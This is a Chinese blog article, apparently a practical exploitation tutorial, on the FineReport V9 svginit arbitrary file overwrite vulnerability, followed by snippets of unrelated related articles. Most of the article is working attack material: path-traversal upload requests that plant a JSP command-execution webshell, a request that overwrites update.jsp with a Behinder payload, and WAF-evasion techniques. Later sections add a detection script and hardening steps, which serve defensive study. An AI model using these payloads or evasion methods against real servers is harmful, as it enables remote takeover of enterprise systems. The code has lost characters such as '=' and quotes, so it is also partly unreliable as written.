当前位置: 首页 > article >正文

帆软V9任意文件覆盖漏洞深度剖析:从无损上传到有损覆盖的实战利用

1. 帆软V9任意文件覆盖漏洞技术背景帆软报表FineReport作为国内广泛使用的企业级报表工具其V9版本存在一个高危的任意文件覆盖漏洞。这个漏洞的核心在于svginit接口对文件路径校验不严格攻击者可以通过构造特殊路径实现文件上传和覆盖。我在实际渗透测试中发现该漏洞利用门槛低但危害极大能够直接导致服务器被完全控制。漏洞的触发点在于design_save_svg功能模块。当系统处理.svg.jsp后缀文件时会先创建新文件再执行后续校验逻辑这个时序差就形成了无损上传的突破口。更危险的是系统默认安装时会生成update.jsp等关键文件攻击者可以直接覆盖这些文件实现有损攻击。去年某次红队行动中我们就曾利用这个漏洞在3分钟内拿下了目标企业的报表服务器。2. 无损上传攻击手法详解2.1 漏洞利用原理无损上传的精妙之处在于利用了文件创建和校验的时间差。当请求路径包含chartmapsvg开头且带有.svg.jsp后缀时系统会先创建文件再校验权限。这就好比快递员把包裹放在你家门口才敲门问是否签收——东西已经留下了拒绝也晚了。关键点在于必须使用chartmapsvg/../../这样的路径穿越文件名必须包含.svg.jsp双重后缀文件内容需要进行XML格式封装2.2 实战攻击步骤这里分享一个我常用的攻击链使用最简单的CMD类型webshellPOST /WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../WebReport/cmd.svg.jsp HTTP/1.1 Host: target.com Content-Type: text/xml; charsetUTF-8 Content-Length: 328 { __CONTENT__:% java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(\cmd\)).getInputStream(); int a -1; byte[] b new byte[2048]; while((ain.read(b))!-1){ out.println(new String(b)); } %, __CHARSET__:UTF-8 }上传成功后直接访问http://target.com/WebReport/cmd.svg.jsp?cmdwhoami建议使用冰蝎或哥斯拉这类专业webshell工具时要注意jsp版本兼容性问题。有次实战中我就因为直接复制网上的payload导致特征被WAF识别后来改用分块编码才绕过检测。3. 有损覆盖上传技术剖析3.1 现有文件覆盖技巧比起无损上传有损覆盖更简单粗暴。帆软V9默认会在WebReport目录下创建update.jsp、update1.jsp等文件这些就是现成的攻击目标。我整理过常见版本的文件列表文件名默认路径可利用性update.jsp/WebReport/★★★★★update1.jsp/WebReport/★★★★☆error.jsp/WebReport/★★★☆☆覆盖update.jsp的payload示例POST /WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: target.com Content-Type: application/json Content-Length: 2580 {__CONTENT__:%! String xc\3c6e0b8a9c15224a\;...省略的冰蝎payload...,__CHARSET__:UTF-8}3.2 绕过防护的特殊技巧当遇到WAF拦截时可以尝试这些方法使用分块传输编码(Transfer-Encoding: chunked)在JSON中插入大量垃圾字符干扰检测修改Content-Type为application/xml对关键参数进行URL双重编码有次遇到某云WAF我通过以下方式成功绕过POST /WebReport/ReportServer HTTP/1.1 Transfer-Encoding: chunked Content-Type: application/json { userinfo: dummy, padding: aaa...5000个a...aaa, __CONTENT__:%out.print(test);%, cmd: design_save_svg, op: svginit, filePath: httpchartmapsvg/../../../update.jsp }4. 漏洞检测与防御方案4.1 自动化检测方法对于企业安全团队我建议使用如下检测流程版本识别检查/WebReport/ReportServer?opabout的版本信息探针检测尝试上传无害的test.jsp文件签名验证检查svginit接口的访问日志Python检测脚本示例import requests def check_vulnerability(url): test_path /WebReport/test123.svg.jsp payload { __CONTENT__: %out.print(123);%, __CHARSET__: UTF-8 } try: r requests.post( f{url}/WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../{test_path}, jsonpayload, timeout10 ) verify requests.get(f{url}{test_path}, timeout5) if 123 in verify.text: return True except: pass return False4.2 企业级防护建议根据我在金融行业的防护经验推荐采取以下措施紧急措施删除WebReport目录下的update.jsp等默认文件在Nginx配置中添加规则拦截包含svginit的异常请求长期加固!-- 在web.xml中添加 -- security-constraint web-resource-collection url-pattern/ReportServer?opsvginit/url-pattern /web-resource-collection auth-constraint role-nameadmin/role-name /auth-constraint /security-constraint监控策略监控WebReport目录下的文件变更对.jsp文件的创建行为设置告警在一次给银行做安全加固时我们发现简单的文件权限设置就能阻断90%的攻击尝试# 设置WebReport目录不可执行 chmod -x /usr/local/tomcat/webapps/WebReport # 移除不必要的执行权限 find /usr/local/tomcat/webapps/WebReport -name *.jsp -type f -exec chmod 644 {} \;5. 漏洞利用的深入思考这个漏洞反映出文件处理逻辑中的经典问题先执行后校验。在审计类似系统时我通常会重点关注以下场景文件上传接口是否允许路径穿越文件创建和权限校验是否存在时间差系统是否存在可预测的默认文件有一次在内网渗透中我们发现某OA系统也存在类似的漏洞模式。通过对比分析总结出这类漏洞的通用检测方法收集所有文件操作接口测试路径穿越字符的过滤情况检查返回包中的文件路径处理结果验证实际文件系统变更在防御层面除了常规的WAF规则更重要的是实施最小权限原则。有次应急响应中我们发现攻击者虽然上传了webshell但因为Tomcat运行权限被严格限制最终没能实现横向移动。这提醒我们纵深防御才是应对这类漏洞的根本之道。

相关文章:

帆软V9任意文件覆盖漏洞深度剖析:从无损上传到有损覆盖的实战利用

1. 帆软V9任意文件覆盖漏洞技术背景 帆软报表(FineReport)作为国内广泛使用的企业级报表工具,其V9版本存在一个高危的任意文件覆盖漏洞。这个漏洞的核心在于svginit接口对文件路径校验不严格,攻击者可以通过构造特殊路径实现文件上…...

避坑指南:VMware装Ubuntu 18.04.6时,配置静态IP后上不了网?我这样解决的

VMware虚拟机静态IP配置避坑指南:从原理到实战的完整解决方案 当你兴冲冲地在VMware Workstation Pro上装好Ubuntu 18.04.6,准备大展拳脚时,却在配置静态IP后突然发现网络连接消失了——这种挫败感我深有体会。作为一名长期与虚拟化技术打交道…...

leetcode11---先飞的笨鸟

...

别再只懂RSA了!聊聊ElGamal和Schnorr签名在区块链和HTTPS里的实战应用

别再只懂RSA了!聊聊ElGamal和Schnorr签名在区块链和HTTPS里的实战应用 当开发者讨论数字签名时,RSA总是第一个被提及的算法。但如果你只了解RSA,可能会错过更高效的解决方案。在区块链交易验证和HTTPS握手过程中,ElGamal和Schnorr…...

Web Components 介绍与推荐三款框架

1 前言 在前端开发的演进历程中,组件化早已成为行业公认的高效开发模式。但长久以来,组件复用始终被技术栈绑定——Vue 开发的组件无法直接在 React 项目中使用,不同团队的技术选型差异,让跨项目、跨团队的组件复用成本居高不下。…...

清华PPT模板终极指南:3分钟打造专业学术演示文稿

清华PPT模板终极指南:3分钟打造专业学术演示文稿 【免费下载链接】THU-PPT-Theme 清华主题PPT模板 项目地址: https://gitcode.com/gh_mirrors/th/THU-PPT-Theme 还在为学术汇报的PPT设计而烦恼吗?THU-PPT-Theme项目为你提供了一套完整的清华大学…...

避坑指南:在STM32的FreeRTOS里用LWIP写TCP Server,这些内存和任务调度问题你遇到了吗?

STM32FreeRTOSLWIP TCP Server开发避坑实战手册 在嵌入式网络通信领域,STM32与FreeRTOS、LWIP的组合堪称黄金三角。但当你真正着手开发TCP Server时,会发现这个看似成熟的架构里藏着不少"暗礁"。我曾在一个工业网关项目上连续熬夜72小时&#…...

后端开发新范式:Qwen3.5-2B作为微服务中的智能中间件

后端开发新范式:Qwen3.5-2B作为微服务中的智能中间件 1. 智能中间件如何重塑后端架构 想象一个电商平台的客服系统:用户上传商品图片询问"这件衣服适合什么场合穿?"传统方案需要人工客服介入,而采用Qwen3.5-2B作为智能…...

找出1000之内的所有完数

找出1000之内的所有完数 *5种不同风格**的C语言程序来实现这个功能。 这些方法涵盖了从基础入门到算法优化,再到递归和不同控制流的写法。 已知1000以内的完数有:6, 28, 496。 方法一:基础暴力解法(最易理解) 这是最直观的写法。外层循环遍历1到1000,内层循环寻找该数…...

京东抢购助手终极指南:3步实现自动化抢单,告别手动烦恼

京东抢购助手终极指南:3步实现自动化抢单,告别手动烦恼 【免费下载链接】jd-assistant 京东抢购助手:包含登录,查询商品库存/价格,添加/清空购物车,抢购商品(下单),查询订单等功能 项目地址: …...

终极指南:如何用Fiji实现科研级图像处理与自动化分析

终极指南:如何用Fiji实现科研级图像处理与自动化分析 【免费下载链接】fiji A "batteries-included" distribution of ImageJ :battery: 项目地址: https://gitcode.com/gh_mirrors/fi/fiji Fiji(Fiji Is Just ImageJ)是一款…...

AXI突发传输(Burst)实战:从Xilinx IP代码看Burst Length、Size与地址计算

AXI突发传输实战:从代码实现到性能优化的深度解析 在FPGA和SoC设计中,AXI总线作为高性能数据传输的核心枢纽,其突发传输(Burst Transfer)机制直接影响着系统整体带宽效率。本文将深入Xilinx IP核代码实现细节,揭示突发长度(Burst …...

保姆级教程:在CentOS 7上用Docker一步搞定Rancher 2.5.15部署(附数据持久化配置)

零基础实战:CentOS 7环境下的Rancher 2.5.15容器化部署全指南 当企业开始拥抱云原生技术栈时,Kubernetes集群管理工具的选择往往决定了后续的运维效率。作为业界领先的多集群管理平台,Rancher以其直观的图形界面和丰富的功能集成,…...

猫抓浏览器扩展架构解析:从资源嗅探到流媒体处理的技术实现

猫抓浏览器扩展架构解析:从资源嗅探到流媒体处理的技术实现 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓浏览器资源嗅探扩展通过…...

人工智能教学内容2026推荐,全链条培养

人工智能教学内容2026推荐,全链条培养选人工智能教学内容怕方案同质化、学生实践能力难提升?据中国教育科学研究院《2026年中小学人工智能教育发展报告》显示,2026年国内人工智能教育市场规模预计突破520亿元,但能提供从课程开发到…...

【2026收藏版】转行成为一名机器学习工程师,可行吗?(小白/程序员必看)

2026年,大模型技术持续爆发,机器学习工程师成为AI领域最热门的岗位之一,很多小白、传统行业从业者甚至在岗程序员,都在犹豫:零基础/跨行业,转行成为机器学习工程师,到底可行吗? 国外…...

数据结构在工程中的应用

数据结构在工程中的应用 在现代工程领域,数据结构作为计算机科学的核心基础,扮演着至关重要的角色。无论是软件开发、网络通信,还是人工智能和自动化控制,高效的数据组织方式直接影响系统的性能和可靠性。通过合理选择和应用数据…...

从ESP32到HIFI5:一文搞懂Cadence Xtensa处理器家族那些事儿(含DSP指令集差异)

从ESP32到HIFI5:Cadence Xtensa处理器家族全解析 在嵌入式处理器领域,Xtensa架构以其独特的可配置性和扩展能力脱颖而出。作为Cadence旗下的核心产品线,Xtensa处理器家族涵盖了从通用微控制器到专用DSP的广泛解决方案。本文将深入剖析这一技术…...

收藏必备!小白程序员轻松入门大模型微调实战(含Prompt-tuning、Adapter-tuning等)

本文介绍了大模型微调的重要性及其基本流程,重点讲解了参数高效微调(PEFT)方法,包括参数附加方法(如Prompt-tuning、Adapter-tuning、Prefix-tuning、Proxy-tuning)、参数选择方法(如BitFit、Ch…...

【仅限前500名开发者】2026 C安全插件离线安装包+配置模板(含SEI CERT C v2.4映射表)

https://intelliparadigm.com 第一章:现代 C 语言内存安全编码规范 2026 插件下载与安装 为应对缓冲区溢出、悬垂指针和未初始化内存等经典 C 语言安全隐患,C Safety Initiative(CSI)于 2025 年底正式发布《现代 C 语言内存安全编…...

Qwen3-4B-Thinking-2507-Gemini-2.5-Flash-Distill保姆级教程:Chainlit前端自定义与vLLM API对接详解

Qwen3-4B-Thinking-2507-Gemini-2.5-Flash-Distill保姆级教程:Chainlit前端自定义与vLLM API对接详解 1. 模型介绍与环境准备 Qwen3-4B-Thinking-2507-Gemini-2.5-Flash-Distill是一个基于vLLM部署的文本生成模型,它在约5440万个由Gemini 2.5 Flash生成…...

从QLabel超链接到桌面集成:Qt中QDesktopServices的5个实战用法(文件、邮件、网页一键打开)

从QLabel超链接到桌面集成:Qt中QDesktopServices的5个实战用法 在桌面应用开发中,系统集成能力往往决定了用户体验的上限。想象一下:用户点击一个链接就能直接打开默认浏览器访问网页,点击邮件地址就能唤起熟悉的邮件客户端&#…...

BilibiliDown:跨平台B站视频下载解决方案

BilibiliDown:跨平台B站视频下载解决方案 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/BilibiliDo…...

Qwen3.5-9B-GGUF实战教程:长文本分块处理、上下文拼接与全局一致性保障方法

Qwen3.5-9B-GGUF实战教程:长文本分块处理、上下文拼接与全局一致性保障方法 1. 项目概述与模型特点 Qwen3.5-9B-GGUF是基于阿里云通义千问3.5开源模型(2026年3月发布)的量化版本,采用GGUF格式进行优化。这个90亿参数的稠密模型采…...

终极TrollStore安装指南:30秒完成iOS 14.0-16.6.1设备越狱部署

终极TrollStore安装指南:30秒完成iOS 14.0-16.6.1设备越狱部署 【免费下载链接】TrollInstallerX A TrollStore installer for iOS 14.0 - 16.6.1 项目地址: https://gitcode.com/gh_mirrors/tr/TrollInstallerX TrollInstallerX是一款专为iOS 14.0至16.6.1系…...

避坑指南:在若依(Ruoyi)项目里上传视频,回显路径不对、跨域、大文件上传失败怎么办?

若依(Ruoyi)项目视频上传实战:从路径回显到大文件处理的完整解决方案 在若依(Ruoyi)框架中实现视频上传功能看似简单,但实际开发中开发者常会遇到各种"坑":上传成功却无法显示、路径拼接错误、跨域拦截、大文件上传失败等问题频发。…...

考研复习 Day 18 | 数据结构与算法--图(上)

一、图的基本概念1.1 图的定义图G由顶点集V和边集E组成,记为G(V,E)要素说明V(G)顶点的有限非空集E(G)顶点之间关系的集合重要:线性表可以是空表,树可以是空树,但图不可以是空图。顶点集V必须非空,但边集E可以为空。1.2…...

告别Function模块!手把手教你用Simulink DLL为Cruise搭建更复杂的能量回收策略

告别Function模块:CruiseSimulink联合仿真实现高阶能量回收策略 当你在Cruise中构建的能量回收策略开始变得复杂,Function模块的局限性是否让你感到束手束脚?代码冗长、信号管理混乱、调试困难——这些问题在开发复杂控制策略时尤为突出。本文…...

避坑指南:RK3588数字麦克风阵列录音,如何解决多路PDM通道配置与tinycap多通道采集问题?

RK3588多路数字麦克风阵列配置实战:从硬件映射到tinycap多通道录音全解析 在智能语音设备开发中,多麦克风阵列的配置往往是音频处理的第一道门槛。当你的会议宝需要支持360度拾音,或是语音助手要实现噪声抑制和声源定位时,RK3588平…...

2026年想涨薪?这10个IT证书门槛低、含金量高,小白也能冲!

2026年高含金量IT证书推荐在数字化转型加速的背景下,IT证书成为职业发展的关键助力。以下10个证书门槛低、市场需求大,尤其适合希望2026年涨薪的从业者,其中CDA数据分析师证书因其实用性和行业认可度多次被提及。证书分类与对比证书名称适用领…...